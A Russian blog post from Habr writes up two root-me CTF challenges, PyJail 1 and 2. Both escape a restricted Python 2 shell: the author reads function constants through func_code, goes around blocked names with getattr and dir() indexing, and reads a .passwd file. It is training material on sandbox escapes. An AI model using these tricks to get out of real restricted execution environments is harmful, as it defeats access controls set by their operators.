[Из песочницы] Интересные особенности Python, о которых вы могли не догадываться

Приветствую тебя %username%. Прочитав статью о способах обхода sudo, решил тоже попробовать описать нечто подобное, но для языка Python. Спасибо root-me за такие задачки. Решая их, можно многое узнать о работе того или иного механизма. Прошу строго не судить, это моё первое творение.
Начнём!

PyJail 1


После подключения, перед нами появляется вот такое приветствие, и небольшое описание:

a32c9e2382e84ea1bf749765171e1906.png

Ничего сложного, просто нужно выйти из интерпретатора. Попробуем это сделать:

>>> exit()
TypeError : exit() takes exactly 1 argument (0 given)
>>> exit('exit')
Denied
>>> exit(0)
You cannot escape !

Выяснили, что функция exit, требует наличие 1 параметра, который проверяется с чем-то, и в случае неудачи возвращает You cannot escape! . Так же определили, что использование строковых литералов запрещено. Простым перебором определяем список запрещённых функций:
>>> __import__
Denied
>>> name
Denied
>>> locals
Denied
>>> globals
Denied
>>> eval
Denied
>>> import
Denied
>>> __
Denied
>>> system
Denied

С этим разобрались, осталось выяснить, какие действия совершать разрешено. Попробуем print:
>>> print 123
123

Это работает. Так же доступно создание переменных и функций:
>>> a=[1]
>>> print a
[1]
>>> def ls(): print(1)
>>> ls()
1

А что насчет свойств объекта?
>>> a.append(10)
>>> print a
[1, 10]

Они тоже доступны. В Python практически всё является объектом, в том числе и функции. Более подробно о том как работать с функцией как с объектом можно прочитать тут.

Теперь переходим к финальной части, попробуем посмотреть список констант, которые объявлены в единственно доступной нам функции exit ():

>>> print(exit.func_code.co_consts)
(None, 'flag-WQ0dSFrab3LGADS1ypA1', -1, 'cat .passwd', 'You cannot escape !')

Из полученных сведений можно образно восстановить логику работы функции:
def exit(txt):
      if txt == 'flag-WQ0dSFrab3LGADS1ypA1':
            os.system('cat .passwd')
      else:
            print('You cannot escape !')

Проверим эту догадку:
>>> x = exit.func_code.co_consts[1]
>>> print(x)
flag-WQ0dSFrab3LGADS1ypA1
>>> exit(x)
Well done flag : XXXXXXXXXXXXXXXXXXXXXXX

Да, это работает, Таким образом, мы можем не только просмотреть список используемых переменных, но так же получить байткод этой функции, который после несложной декомпиляции, можно хоть и с погрешностями, но восстановить.

PyJail 2


887ba72612e44633beabb3b5414a64a7.png

Вторая часть. По традиции нам как всегда нужно получить содержимое файла .passwd. Приступим. Попробуем ту же технику, что использовали в первой части:

>>> print(getout.func_code.co_consts)
You are in jail dude ... Did you expect to have the key ?

Попробуем иначе. Первым делом проверим доступна ли команда dir?
>>> dir()
>>> a=[]
>>> dir(a)
NameError: name 'dir(a)' is not defined
>>> print(dir())
['__builtins__', 'command', 'getout']

Да, она работает, но пока на данном этапе мало чем полезна. После проверки остальных функций из списка, обнаруживаем, что мы можем использовать ещё одну функцию:
>>> print(getattr)

Что это даёт? Из документации известно следующее:
Return the value of the named attribute of object. name must be a string. If the string is the name of one of the object«s attributes, the result is the value of that attribute. For example, getattr (x, 'foobar') is equivalent to x.foobar. If the named attribute does not exist, default is returned if provided, otherwise AttributeError is raised.

Функция принимает объект, находит в нём метод и возвращает его. Посмотрим какие методы есть у getout:
>>> print dir(getout)
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']

Отлично, действуя по аналогии как это было в PyJail1, сначала узнаём список функций используемых в getout:
>>> fc=getattr(getout, dir(getout)[25]); mds=getattr(fc, dir(fc)[32]); prm=getattr(fc, dir(fc)[25])[2]; print(mds)
('passwd', 'os', 'system', 'sys', 'exit') 

Теперь получаем список констант:
>>> fc=getattr(getout, dir(getout)[25]); mds=getattr(fc, dir(fc)[32]); prm=getattr(fc, dir(fc)[25]); print(prm)
(' check if arg is equal to the random password ', 'Well done ! Here is your so desired flag : ', 'cat .passwd', 'Hum ... no.', None)

Осталось выполнить system ('cat .passwd') и получить пароль для прохождения задания
>>> fc=getattr(getout, dir(getout)[25]); mds=getattr(fc, dir(fc)[32]); prm=getattr(fc, dir(fc)[25])[2]; splt=getattr(prm, dir(prm)[62]); f=open(splt(prm[3])[1]); rd=getattr(f, dir(f)[29]); rrd=rd(); print(rrd)

Вот таким вот не хитрым образом используя Python у нас появляется возможность одно действие сделать множеством различных способов. На этом пока всё.

Комментарии (1)

  • 21 февраля 2017 в 19:52

    +1

    Вы забыли написать самое главное — https://lbarman.ch/blog/root-me-pyjail1/:
    »You have access to a restricted, sandboxed Python shell (mimicking an online service), and you need to gain broader access to the system. »

    Без этой фразы я вообще не мог понять о чем Ваша статья и какую проблему Вы решаете. Помог только Гугл.

© Habrahabr.ru